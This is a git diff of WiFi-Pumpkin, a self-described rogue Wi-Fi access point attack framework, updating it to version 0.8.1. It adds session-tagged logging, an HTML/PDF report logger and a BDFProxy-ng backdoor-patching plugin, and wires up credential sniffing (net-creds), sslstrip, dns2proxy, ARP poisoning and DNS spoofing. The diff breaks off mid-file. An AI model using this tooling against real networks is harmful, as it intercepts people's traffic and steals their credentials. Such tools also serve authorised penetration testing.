diff --git a/CHANGELOG b/CHANGELOG index 4d25c5d..020e846 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,10 @@ +Version 0.8.1 +------------- +- re-design all GUI Menu->view +- added new report logger GUI +- added new sessions for Rogue AP loggers +- added new plugin BDFProxy-ng + Version 0.7.8 ------------- - moved progressBar to statusBar diff --git a/Core/Main.py b/Core/Main.py index b272585..38307fd 100644 --- a/Core/Main.py +++ b/Core/Main.py @@ -6,7 +6,7 @@ from PyQt4.QtCore import * except ImportError: exit('WiFi-Pumpkin need PyQt4 :(') - +from json import dumps,loads from pwd import getpwnam from grp import getgrnam from time import asctime @@ -23,7 +23,7 @@ ) from Core.Utils import ( - Refactor,set_monitor_mode + Refactor,set_monitor_mode,waiterSleepThread ) from Core.widgets.TabModels import ( PumpkinProxy,PumpkinMonitor, @@ -48,6 +48,7 @@ from Core.widgets.docks.DockMonitor import dockAreaAPI from Core.utility.settings import frm_Settings from Core.helpers.update import ProgressBarWid +from Core.helpers.report import frm_ReportLogger from netfilterqueue import NetfilterQueue """ @@ -75,8 +76,8 @@ author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team' emails = ['mh4root@gmail.com','p0cl4bs@gmail.com'] license = ' GNU GPL 3' -version = '0.7.8' -update = '16/07/2016' # This is Brasil :D +version = '0.8.1' +update = '18/08/2016' # This is Brasil :D desc = ['Framework for Rogue Wi-Fi Access Point Attacks'] class Initialize(QMainWindow): @@ -137,7 +138,17 @@ class WifiPumpkin(QWidget): def __init__(self, parent = None,window=None,Fsettings=None): self.InitialMehtod = window super(WifiPumpkin, self).__init__(parent) - #self.create_sys_tray() + + # check update from github repository + self.Timer = waiterSleepThread() + self.Timer.quit.connect(self.get_status_new_commits) + self.UpdateSoftware = frm_githubUpdate(version) + self.UpdateSoftware.resize(480, 280) + self.UpdateSoftware.show() + self.UpdateSoftware.setHidden(True) + self.UpdateSoftware.checkUpdate() + self.Timer.start() + self.MainControl = QVBoxLayout() self.TabControl = QTabWidget() self.Tab_Default = QWidget() @@ -159,26 +170,31 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.AreaDockInfo = { ':: URLMonitor::': { 'active' : self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool), - 'path': 'Logs/AccessPoint/urls.log', 'thread_name': 'Netcreds::Urls', + 'splitcode': ':[url]', 'error': 'netcreds no logger found.'}, '::Credentials:: ': { 'active' : self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool), - 'path': 'Logs/AccessPoint/credentials.log', 'thread_name': 'Netcreds::Credentials', + 'splitcode': ':[creds]', 'error': 'netcreds no logger found.'}, - '::Pumpkin-Phishing:: ': { - 'active' : self.FSettings.Settings.get_setting('dockarea','dock_phishing',format=bool), - 'path': 'Logs/Phishing/Webclone.log', - 'thread_name': 'PumpKin-Phishing::Capture', - 'error': 'Phishing::capture no logger found'} + '::bdfproxy:: ': { + 'active' : self.FSettings.Settings.get_setting('dockarea','dock_bdfproxy',format=bool), + 'thread_name': 'BDFProxy-ng::Capture', + 'error': 'Phishing::capture no logger found'}, + + '::dns2proxy:: ': { + 'active' : self.FSettings.Settings.get_setting('dockarea','dock_dns2proxy',format=bool), + 'thread_name': 'DNs2proxy::Capture', + 'error': 'Phishing::capture no logger found'}, } self.ConfigTwin = { 'ProgCheck':[],'AP_iface': None, 'PortRedirect': None, 'interface':'None'} self.THeaders = {'ip-address':[], 'device':[], 'mac-address':[]} + self.SessionsAP = loads(str(self.FSettings.Settings.get_setting('accesspoint','sessions'))) self.PopUpPlugins = PopUpPlugins(self.FSettings) self.THReactor = ThreadReactor() self.checkPlugins() @@ -195,6 +211,21 @@ def loadBanner(self): self.imagem.setPixmap(self.logo) self.FormBanner.addRow(self.imagem) + def sessionGenerate(self): + session_id = Refactor.generateSessionID() + while session_id in self.SessionsAP.keys(): + session_id = Refactor.generateSessionID() + return session_id + + def get_status_new_commits(self,flag): + if flag and self.UpdateSoftware.checkHasCommits: + reply = QMessageBox.question(self, 'Update WiFi-Pumpkin', + 'would you like to update commits from (github)??', QMessageBox.Yes | + QMessageBox.No, QMessageBox.No) + if reply == QMessageBox.Yes: + self.UpdateSoftware.show() + self.Timer.terminate() + def InjectorTABContent(self): self.ProxyPluginsTAB = PumpkinProxy(self.PopUpPlugins,self.FSettings) self.ProxyPluginsTAB.sendError.connect(self.GetErrorInjector) @@ -236,7 +267,10 @@ def DefaultTABContent(self): self.StatusBar.addWidget(self.connectedCount) self.EditGateway = QLineEdit(self) self.EditApName = QLineEdit(self) - self.EditChannel = QLineEdit(self) + self.EditChannel =QSpinBox(self) + self.EditChannel.setMinimum(1) + self.EditChannel.setMaximum(13) + self.EditChannel.setFixedWidth(50) self.selectCard = QComboBox(self) # table information AP connected @@ -261,6 +295,7 @@ def DefaultTABContent(self): self.btnPlugins.setFixedHeight(25) self.btnPlugins.setIcon(QIcon('Icons/plugins.png')) self.btnPlugins.setText('[::Plugins::]') + self.btnPlugins.setToolTip('Plugins Settings') self.btnPlugins.setPopupMode(QToolButton.MenuButtonPopup) self.btnPlugins.setMenu(QMenu(self.btnPlugins)) action = QWidgetAction(self.btnPlugins) @@ -270,6 +305,7 @@ def DefaultTABContent(self): self.btnHttpServer = QToolButton(self) self.btnHttpServer.setFixedHeight(25) self.btnHttpServer.setIcon(QIcon('Icons/phishing.png')) + self.btnHttpServer.setToolTip('HTTP Server Settings') self.FormPopup = PopUpServer(self.FSettings) self.btnHttpServer.setPopupMode(QToolButton.MenuButtonPopup) self.btnHttpServer.setMenu(QMenu(self.btnHttpServer)) @@ -330,7 +366,7 @@ def intGUI(self): self.myQMenuBar = QMenuBar(self) self.myQMenuBar.setFixedWidth(400) Menu_file = self.myQMenuBar.addMenu('&File') - exportAction = QAction('Export Html', self) + exportAction = QAction('Report Logger...', self) deleteAction = QAction('Clear Logger', self) exitAction = QAction('Exit', self) exitAction.setIcon(QIcon('Icons/close-pressed.png')) @@ -341,7 +377,7 @@ def intGUI(self): Menu_file.addAction(exitAction) exitAction.triggered.connect(exit) deleteAction.triggered.connect(self.delete_logger) - exportAction.triggered.connect(self.exportHTML) + exportAction.triggered.connect(self.exportlogger) Menu_View = self.myQMenuBar.addMenu('&View') phishinglog = QAction('Monitor Phishing', self) @@ -444,9 +480,9 @@ def intGUI(self): Menu_issue.triggered.connect(self.issue) Menu_donate.triggered.connect(self.donate) Menu_update.triggered.connect(self.show_update) + Menu_extra.addAction(Menu_donate) Menu_extra.addAction(Menu_issue) Menu_extra.addAction(Menu_update) - Menu_extra.addAction(Menu_donate) Menu_extra.addAction(Menu_about) self.MainControl.addLayout(self.FormBanner) @@ -454,15 +490,21 @@ def intGUI(self): self.setLayout(self.MainControl) def show_arp_posion(self): - self.Farp_posion = GUIModules.frm_Arp_Poison() - self.Farp_posion.setGeometry(0, 0, 450, 300) - self.Farp_posion.show() + if not self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + self.Farp_posion = GUIModules.frm_Arp_Poison(self.FormPopup.Ftemplates) + self.Farp_posion.setGeometry(0, 0, 450, 300) + return self.Farp_posion.show() + QMessageBox.information(self,'ARP Poison Attack','this module not work with AP mode enabled. ') def show_update(self): - self.FUpdate = frm_githubUpdate(version) - self.FUpdate.resize(480, 280) + self.FUpdate = self.UpdateSoftware self.FUpdate.show() + def exportlogger(self): + self.SessionsAP= loads(str(self.FSettings.Settings.get_setting('accesspoint','sessions'))) + self.FrmLogger = frm_ReportLogger(self.SessionsAP) + self.FrmLogger.show() + def show_settings(self): self.FSettings.show() @@ -492,7 +534,7 @@ def form_mac(self): self.Fmac.show() def show_dns_spoof(self): - self.Fdns = GUIModules.frm_DnsSpoof() + self.Fdns = GUIModules.frm_DnsSpoof(self.FormPopup.Ftemplates) self.Fdns.setGeometry(QRect(100, 100, 450, 500)) self.Fdns.show() @@ -519,15 +561,16 @@ def logdns2proxy(self): def checkPlugins(self): if self.FSettings.Settings.get_setting('plugins','netcreds_plugin',format=bool): self.PopUpPlugins.check_netcreds.setChecked(True) + if self.FSettings.Settings.get_setting('plugins','dns2proxy_plugin',format=bool): self.PopUpPlugins.check_dns2proy.setChecked(True) - self.PopUpPlugins.checkGeneralOptions() elif self.FSettings.Settings.get_setting('plugins','sergioproxy_plugin',format=bool): self.PopUpPlugins.check_sergioProxy.setChecked(True) - self.PopUpPlugins.checkGeneralOptions() + elif self.FSettings.Settings.get_setting('plugins','bdfproxy_plugin',format=bool): + self.PopUpPlugins.check_bdfproxy.setChecked(True) elif self.FSettings.Settings.get_setting('plugins','noproxy',format=bool): self.PopUpPlugins.check_noproxy.setChecked(True) - self.PopUpPlugins.checkGeneralOptions() + self.PopUpPlugins.checkGeneralOptions() def Started(self,bool): if bool: @@ -610,7 +653,7 @@ def mConfigure(self): [self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','APname')) - self.EditChannel.setText(self.FSettings.Settings.get_setting('accesspoint','channel')) + self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int)) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i,j in enumerate(self.get_interfaces['all']): if search('wl', j):self.selectCard.addItem(self.get_interfaces['all'][i]) @@ -623,14 +666,6 @@ def mConfigure(self): lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0],dhcpd[0],dnsmasq[0],hostapd[0],xterm[0]] for i in lista:self.ConfigTwin['ProgCheck'].append(path.isfile(i)) - def exportHTML(self): - contents = Refactor.exportHtml(remove_dns2proxy=True) - filename = QFileDialog.getSaveFileNameAndFilter(self, - 'Save File Logger HTML','report.html','HTML (*.html)') - if len(filename) != 0: - with open(str(filename[0]),'w') as filehtml: - filehtml.write(contents['HTML']),filehtml.close() - QMessageBox.information(self, 'WiFi Pumpkin', 'file has been saved with success.') def refrash_interface(self): self.selectCard.clear() @@ -644,6 +679,8 @@ def kill(self): print('-------------------------------') self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.Settings.set_setting('accesspoint','statusAP',False) + self.SessionsAP[self.currentSessionID]['stoped'] = asctime() + self.FSettings.Settings.set_setting('accesspoint','sessions',dumps(self.SessionsAP)) if hasattr(self,'dockAreaList'): for dock in self.dockAreaList.keys(): self.dockAreaList[dock].clear() @@ -694,6 +731,7 @@ def delete_logger(self): for keyFile in content['Files']: with open(keyFile,'w') as f: f.write(''),f.close() + self.FSettings.Settings.set_setting('accesspoint','sessions',dumps({})) QMessageBox.information(self,'Logger','All Looger::Output has been Removed...') def start_etter(self): @@ -727,6 +765,8 @@ def start_dift(self): return QMessageBox.information(self,'driftnet','driftnet is not found.') def CoreSettings(self): + self.splitcodeURL = self.AreaDockInfo[':: URLMonitor::']['splitcode'] + self.splitcodeCRED = self.AreaDockInfo['::Credentials:: ']['splitcode'] self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() self.ConfigTwin['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') self.SettingsAP = { @@ -752,7 +792,7 @@ def CoreSettings(self): [ 'interface={}\n'.format(str(self.selectCard.currentText())), 'ssid={}\n'.format(str(self.EditApName.text())), - 'channel={}\n'.format(str(self.EditChannel.text())), + 'channel={}\n'.format(str(self.EditChannel.value())), ], 'dhcp-server': [ @@ -837,8 +877,14 @@ def StartApFake(self): 'for fix this, You need change on tab (Pumpkin-Settings -> Class Ranges)' 'now you have choose the Class range different of your network.') self.btn_start_attack.setDisabled(True) - popen('ulimit -n 64000') print('\n[*] Loading debugging mode') + + # create session ID to logging process + self.currentSessionID = self.sessionGenerate() + self.SessionsAP.update({self.currentSessionID : {'started': None,'stoped': None}}) + self.SessionsAP[self.currentSessionID]['started'] = asctime() + print('[*] Current Session::ID [{}]'.format(self.currentSessionID)) + self.APactived = self.FSettings.Settings.get_setting('accesspoint','using') if self.APactived == 'hostapd': print('[*] Configuring hostapd...') @@ -877,7 +923,7 @@ def StartApFake(self): if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() - self.Thread_hostapd = ProcessHostapd({'hostapd':['-d','Settings/hostapd.conf']}) + self.Thread_hostapd = ProcessHostapd({'hostapd':['Settings/hostapd.conf']},self.currentSessionID) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) @@ -888,7 +934,7 @@ def StartApFake(self): selected_dhcp = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if selected_dhcp == 'iscdhcpserver': self.Thread_dhcp = ThRunDhcp(['dhcpd','-d','-f','-lf','/var/lib/dhcp/dhcpd.leases','-cf', - '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) + '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']],self.currentSessionID) self.Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) self.Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(self.Thread_dhcp) @@ -917,29 +963,37 @@ def StartApFake(self): self.THReactor.start() if self.PopUpPlugins.check_netcreds.isChecked(): self.Thread_netcreds = ProcessThread({'python':['Plugins/net-creds/net-creds.py','-i', - str(self.selectCard.currentText())]}) + str(self.selectCard.currentText()),'-k',self.currentSessionID]}) + self.Thread_netcreds._ProcssOutput.connect(self.get_netcreds_output) self.Thread_netcreds.setObjectName('Net-Creds') self.Apthreads['RougeAP'].append(self.Thread_netcreds) if self.PopUpPlugins.check_dns2proy.isChecked(): + # thread DNS2proxy self.Thread_dns2proxy = ProcessThread({'python':['Plugins/dns2proxy/dns2proxy.py','-i', - str(self.selectCard.currentText())]}) + str(self.selectCard.currentText()),'-k',self.currentSessionID]}) + self.Thread_dns2proxy._ProcssOutput.connect(self.get_dns2proxy_output) self.Thread_dns2proxy.setObjectName('Dns2Proxy') self.Apthreads['RougeAP'].append(self.Thread_dns2proxy) - # thread plugins - if self.PopUpPlugins.check_dns2proy.isChecked(): + # thread sslstrip for dns2proxy self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'], - self.plugins,self.ProxyPluginsTAB._PluginsToLoader) + self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) self.Threadsslstrip.setObjectName("sslstrip2") self.Apthreads['RougeAP'].append(self.Threadsslstrip) elif self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], - self.plugins,self.ProxyPluginsTAB._PluginsToLoader) + self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) + elif self.PopUpPlugins.check_bdfproxy.isChecked(): + self.Thread_bdfproxy = ProcessThread({'python':['Plugins/BDFProxy-ng/bdf_proxy.py', + '-k',self.currentSessionID]}) + self.Thread_bdfproxy._ProcssOutput.connect(self.get_bdfproxy_output) + self.Thread_bdfproxy.setObjectName('BDFProxy-ng') + self.Apthreads['RougeAP'].append(self.Thread_bdfproxy) iptables = [] for index in xrange(self.FSettings.ListRules.count()): @@ -963,15 +1017,31 @@ def StartApFake(self): if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): QThread.sleep(3) self.PumpSettingsTAB.doCheckAdvanced() - if hasattr(self,'dockAreaList'): - print('-------------------------------') - filelist = [ f for f in listdir('Logs/AccessPoint/.') if f.endswith('.log.offset') ] - for f in filelist: system('rm Logs/AccessPoint/{}'.format(f)) - for dock in self.dockAreaList.keys(): - self.dockAreaList[dock].RunThread() + print('-------------------------------') print('AP::[{}] Running...'.format(self.EditApName.text())) print('AP::BSSID::[{}] CH {}'.format(Refactor.get_interface_mac( - self.selectCard.currentText()),self.EditChannel.text())) + self.selectCard.currentText()),self.EditChannel.value())) + self.FSettings.Settings.set_setting('accesspoint','APname',str(self.EditApName.text())) + + def get_netcreds_output(self,data): + if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + if hasattr(self,'dockAreaList'): + if self.PumpSettingsTAB.dockInfo[':: URLMonitor::']['active'] and self.splitcodeURL in data: + self.dockAreaList[':: URLMonitor::'].writeModeData(str(data).split(self.splitcodeURL)[1]) + if self.PumpSettingsTAB.dockInfo['::Credentials:: ']['active'] and self.splitcodeCRED in data: + self.dockAreaList['::Credentials:: '].writeModeData(str(data).split(self.splitcodeCRED)[1]) + + def get_dns2proxy_output(self,data): + if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + if hasattr(self,'dockAreaList'): + if self.PumpSettingsTAB.dockInfo['::dns2proxy:: ']['active']: + self.dockAreaList['::dns2proxy:: '].writeModeData(data) + + def get_bdfproxy_output(self,data): + if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + if hasattr(self,'dockAreaList'): + if self.PumpSettingsTAB.dockInfo['::bdfproxy:: ']['active']: + self.dockAreaList['::bdfproxy:: '].writeModeData(str(data).split(' : ')[1]) def create_sys_tray(self): self.sysTray = QSystemTrayIcon(self) diff --git a/Core/Utils.py b/Core/Utils.py index 2fb3812..6fb8f8f 100644 --- a/Core/Utils.py +++ b/Core/Utils.py @@ -2,6 +2,7 @@ from struct import pack from time import sleep,asctime,strftime from random import randint +from base64 import b64encode from os import popen,path,walk,system,getpid,stat from subprocess import call,check_output,Popen,PIPE,STDOUT from re import search,compile,VERBOSE,IGNORECASE @@ -78,14 +79,14 @@ def stop(self): loggers = {} '''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' -def setup_logger(logger_name, log_file, level=logging.INFO): +def setup_logger(logger_name, log_file,key, level=logging.INFO): global loggers if loggers.get(logger_name): return loggers.get(logger_name) else: logger = logging.getLogger(logger_name) logger.propagate = False - formatter = logging.Formatter('%(asctime)s : %(message)s') + formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key)) fileHandler = logging.FileHandler(log_file, mode='a') fileHandler.setFormatter(formatter) logger.setLevel(logging.INFO) @@ -119,38 +120,62 @@ def htmlContent(title): ] } return html + + @staticmethod + def get_content_by_session(filelines,sessionID=str): + filterSession = [] + sessiongrap = 'SessionID[{}]'.format(sessionID) + for line in filelines: + if sessiongrap in line: + filterSession.append(line) + return ''.join(filterSession) + @staticmethod - def exportHtml(remove_dns2proxy=False,remove_inject=False): + def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''): readFile = { 'dhcp': {'Logs/AccessPoint/dhcp.log':[]}, 'urls': {'Logs/AccessPoint/urls.log':[]}, + 'hostapd': {'Logs/AccessPoint/hostapd.log':[]}, + 'bdfproxy': {'Logs/AccessPoint/bdfproxy.log':[]}, 'credentials': {'Logs/AccessPoint/credentials.log':[]}, - 'requestAP': {'Logs/AccessPoint/requestAP.log':[]}, 'dns2proxy': {'Logs/AccessPoint/dns2proxy.log':[]}, 'injectionPage': {'Logs/AccessPoint/injectionPage.log':[]}, 'dnsspoofAP': {'Logs/AccessPoint/DnsSpoofModuleReq.log':[]}, - 'phishing': {'Logs/Phishing/Webclone.log':[]},} - if remove_dns2proxy: readFile.pop('dns2proxy') - elif remove_inject: readFile.pop('injectionPage') - for i in readFile.keys(): - for j in readFile[i]: - with open(j,'r') as file: - readFile[i][j] = file.read() + 'phishing': {'Logs/Phishing/requests.log':[]},} + if unchecked != {}: + for key in unchecked.keys(): readFile.pop(key) + for key in readFile.keys(): + for filename in readFile[key]: + with open(filename,'r') as file: + if len(sessionID) != 0: + content = Refactor.get_content_by_session(file.readlines(),sessionID) + readFile[key][filename] = content + else: + readFile[key][filename] = file.read() - contenthtml,HTML = Refactor.htmlContent('Report Logger'),'' + contenthtml,HTML,emptyFile,activated_Files = Refactor.htmlContent('WiFi-Pumpkin Report Logger'),'',[],[] for i in contenthtml['htmlheader']: HTML += i+"\n" - HTML += 'Report Generated at::'+asctime()+'\n' + if dataLogger != []: + HTML += 'Session information::\n\n' + HTML += '[*] ESSID AP: {}\n'.format(APname) + HTML += '[*] AP Create at: '+dataLogger[0]+'\n' + HTML += '[*] AP Down at: '+dataLogger[1]+'\n\n' + HTML += 'Report Generated at::'+asctime()+'\n\n' HTML += '
\n' for key in readFile.keys(): - if Refactor.getSize(readFile[key].keys()[0]) > 0: + if len(readFile[key][readFile[key].keys()[0]]) > 0: HTML += '-[ {} Logger ]-\n'.format(key) HTML += readFile[key][readFile[key].keys()[0]] HTML += '

\n' + activated_Files.append(key) + elif Refactor.getSize(readFile[key].keys()[0]) == 0: + emptyFile.append(key) HTML += '\n\ -
''WiFi-Pumpkin (C) 2015 P0cL4bs Team' \ +
''WiFi-Pumpkin (C) 2015-2016 P0cL4bs Team' \ '
\n\n' - Load_ = {'HTML': HTML,'Files':[readFile[x].keys()[0] for x in readFile.keys()]} + Load_ = {'HTML': HTML,'Files':[readFile[x].keys()[0] for x in readFile.keys()], + 'activated_Files':activated_Files,'empty_files': emptyFile} return Load_ @staticmethod @@ -266,6 +291,13 @@ def getSize(filename): st = stat(filename) return st.st_size -class waiter(threading.Thread): + @staticmethod + def generateSessionID(): + return str(b64encode(str(random.randint(0,100000)))) + +class waiterSleepThread(QThread): + quit = pyqtSignal(object) + def __int__(self,parent=None): + super(waiter, self).__init__(self,parent) def run(self): - sleep(10) \ No newline at end of file + sleep(10),self.quit.emit(True) \ No newline at end of file diff --git a/Core/config/app/config.ini b/Core/config/app/config.ini index 7c02544..da147f8 100644 --- a/Core/config/app/config.ini +++ b/Core/config/app/config.ini @@ -15,6 +15,7 @@ dhcp_server=iscdhcpserver channel=11 APname=PumpAP interfaceAP=wlxc83a35cef744 +sessions={} [dhcp] classtype=A @@ -64,15 +65,18 @@ range=10.0.0.20/10.0.0.50 [dockarea] advanced=false -dock_phishing=false dock_credencials=true dock_urlmonitor=true +dock_bdfproxy=false +dock_dns2proxy=false [plugins] noproxy=false netcreds_plugin=true dns2proxy_plugin=true sergioproxy_plugin=false +bdfproxy_plugin=false +bdfproxy_patch_config=Plugins/BDFProxy-ng/bdfproxy.cfg [iptables] iptablespolicy1=iptables --policy INPUT ACCEPT diff --git a/Core/config/commits/Lcommits.cfg b/Core/config/commits/Lcommits.cfg index a806dc2..bad356a 100644 --- a/Core/config/commits/Lcommits.cfg +++ b/Core/config/commits/Lcommits.cfg @@ -1,4 +1,13 @@ master: +[ + { Version: '0.8.1'} + { changelog : 're-design all GUI Menu->view' }, + { changelog : 'added new report logger GUI' }, + { changelog : 'added new sessions for Rogue AP loggers' }, + { changelog : 'added new plugin BDFProxy-ng' }, +] + +WiFiPumpkin078: [ { Version: '0.7.8'} { changelog : 'moved ProgressBar to StatusBar' }, @@ -18,7 +27,7 @@ master: { changelog : 'added support Parrot 3.0.1 to use AP with wireless connection #69' }, ] -WiFiPumpkin: +WiFiPumpkinv075: [ { Version: '0.7.5'} { changelog : 'fixed size QTableWidget on modules' }, diff --git a/Core/helpers/about.py b/Core/helpers/about.py index ddd873b..9cb09bf 100644 --- a/Core/helpers/about.py +++ b/Core/helpers/about.py @@ -36,17 +36,20 @@ def __init__(self,parent = None): self.formMode = QFormLayout() self.formMode.addRow(QLabel('@xtr4nge')) - self.formMode.addRow(QLabel('Sslstrip2 based version fork

')) + self.formMode.addRow(QLabel('PLugin Sslstrip fork inject code
')) self.formMode.addRow(QLabel('@LeonardoNve')) - self.formMode.addRow(QLabel('Plugin SSLstrip version fork,Plugin dns2proxy

')) + self.formMode.addRow(QLabel('Plugin SSLstrip2 version fork')) + self.formMode.addRow(QLabel('Plugin Dns2proxy Offensive DNS server
')) + self.formMode.addRow(QLabel('@davinerd')) + self.formMode.addRow(QLabel('Plugin BDFProxy-ng version fork
')) self.formMode.addRow(QLabel('Ben Schmidt @supernothing')) - self.formMode.addRow(QLabel('Plugin Sergio Proxy - bypass HSTS

')) + self.formMode.addRow(QLabel('Plugin SergioProxy - bypass HSTS
')) self.formMode.addRow(QLabel('Dan McInerney @danhmcinerney')) - self.formMode.addRow(QLabel('Plugin Netcreds - Sniffs sensitive data

')) + self.formMode.addRow(QLabel('Plugin Netcreds - Sniffs sensitive data
')) self.formMode.addRow(QLabel('Yasin Uludag')) - self.formMode.addRow(QLabel('theme1.qss - Qt dark orange stylesheet

')) + self.formMode.addRow(QLabel('theme1.qss - Qt dark orange stylesheet
')) self.formMode.addRow(QLabel('Colin Duquesnoy @ColinDuquesnoy')) - self.formMode.addRow(QLabel('theme2.qss - Qt dark blue stylesheet

')) + self.formMode.addRow(QLabel('theme2.qss - Qt dark blue stylesheet
')) self.mainLayout.addRow(self.formMode) self.layout = QHBoxLayout() diff --git a/Core/helpers/report.py b/Core/helpers/report.py new file mode 100644 index 0000000..6a78d00 --- /dev/null +++ b/Core/helpers/report.py @@ -0,0 +1,173 @@ +from Core.loaders.Stealth.PackagesUI import * +from PyQt4.QtWebKit import QWebView + +""" +Description: + This program is a module for wifi-pumpkin.py. Report FIles Logger PDF or HTML + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class frm_ReportLogger(PumpkinModule): + ''' called report logger in files ''' + def __init__(self,sessions,parent = None): + super(frm_ReportLogger, self).__init__(parent) + self.setWindowTitle('WiFi-Pumpkin - Report Logger') + self.loadtheme(self.configure.XmlThemeSelected()) + self.setGeometry(0,0,320,400) + self.Main = QVBoxLayout() + self.sessions = sessions + self.center() + self.GUI() + + def addcheckListView_loggerFIles(self,unchecked,key,enable=None,checked=None,session=''): + # add in listview all logger files + empty = Refactor.exportHtml(unchecked,sessionID=session)[key] + for loggerfile in empty: + item = QStandardItem(loggerfile) + check = Qt.Checked if checked == True else Qt.Unchecked + item.setCheckState(check) + item.setEnabled(enable) + item.setCheckable(True) + self.model.appendRow(item) + + def get_all_items_Unchecked(self): + # get all items desabled from row + all_items_row = {} + for index in range(self.model.rowCount()): + item = self.model.item(index) + if item.isCheckable() and item.checkState() == Qt.Unchecked: + all_items_row[str(item.text())] = False + return all_items_row + + def convertIt(self,printer): + # generate file pdf + self.ExportPDF.print_(printer) + QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated with success.') + + def exportFilesSystem(self): + # export HTML or pdf file + all_unchecked = self.get_all_items_Unchecked() + if not self.checkHTML.isChecked() and not self.checkPDF.isChecked(): + return QMessageBox.warning(self, 'WiFi Pumpkin Options', + 'You have to select a option file type for export.') + if len(all_unchecked.keys()) == 9: + return QMessageBox.warning(self, 'WiFi Pumpkin empty session', + 'logger:ERROR Could not find log files.') + + sessions_activated = '' + apname = self.configure.Settings.get_setting('accesspoint','APname') + for key in self.sessions.keys(): + if str(self.CB_Data_Logger.currentText()) == self.sessions[key]['started']: + contents = Refactor.exportHtml(all_unchecked,key, + [self.sessions[key]['started'],self.sessions[key]['stoped']],apname) + sessions_activated = key + break + if sessions_activated == '': + contents = Refactor.exportHtml(all_unchecked,sessions_activated) + + if self.checkHTML.isChecked(): + filename = QFileDialog.getSaveFileNameAndFilter(self, + 'Save File Logger as HTML','report.html','HTML (*.html)') + if len(filename[0]) != 0: + with open(str(filename[0]),'w') as filehtml: + filehtml.write(contents['HTML']),filehtml.close() + QMessageBox.information(self, 'WiFi Pumpkin Report HTML', 'file has been saved with success.') + + elif self.checkPDF.isChecked(): + filename = QFileDialog.getSaveFileNameAndFilter(self, + 'Save File Logger as PDF','report.pdf','PDF (*.pdf)') + if len(filename[0]) != 0: + self.ExportPDF.setHtml(contents['HTML']) + printer = QPrinter() + printer.setPageSize(QPrinter.A4) + printer.setOutputFormat(QPrinter.PdfFormat) + printer.setOutputFileName(filename[0]) + self.convertIt(printer) + + @pyqtSlot(QModelIndex) + def combo_clicked(self, session): + # get activated logger files + self.model.clear() + sessions_activated = '' + for key in self.sessions.keys(): + if session == self.sessions[key]['started']: + self.labelStart.setText(self.sessions[key]['started']) + self.labelStop.setText(self.sessions[key]['stoped']) + sessions_activated = key + break + all_unchecked = self.get_all_items_Unchecked() + self.addcheckListView_loggerFIles(all_unchecked,'activated_Files',enable=True, + checked=True,session=sessions_activated) + self.addcheckListView_loggerFIles(all_unchecked,'empty_files',enable=False, + checked=False,session=sessions_activated) + + def GUI(self): + self.frm0 = QFormLayout() + self.model = QStandardItemModel() + self.viewlogger = QListView() + self.widget = QWidget() + self.layout = QVBoxLayout(self.widget) + + self.ExportPDF = QWebView() + + # check all files logger empty or round + self.viewlogger.setModel(self.model) + self.layout.addLayout(self.frm0) + + # group file type + self.GroupBoxFile = QGroupBox() + self.layoutGroupFile = QVBoxLayout() + self.GroupBoxFile.setLayout(self.layoutGroupFile) + self.GroupBoxFile.setTitle('Options:') + self.checkHTML = QRadioButton('HTML') + self.checkPDF = QRadioButton('PDF') + self.layoutGroupFile.addWidget(self.checkHTML) + self.layoutGroupFile.addWidget(self.checkPDF) + + # group informations + self.GroupBoxINFO = QGroupBox() + self.layoutGroupINFO = QFormLayout() + self.GroupBoxINFO.setLayout(self.layoutGroupINFO) + self.GroupBoxINFO.setTitle('Information:') + self.labelStart = QLabel() + self.labelStop = QLabel() + self.layoutGroupINFO.addRow('started AP at:',self.labelStart) + self.layoutGroupINFO.addRow('stoped AP at:',self.labelStop) + + # get all session data add combobox + self.CB_Data_Logger = QComboBox(self) + all_sessions = [] + for key in self.sessions.keys(): + all_sessions.append(self.sessions[key]['started']) + all_sessions.append('select All logger file...') + 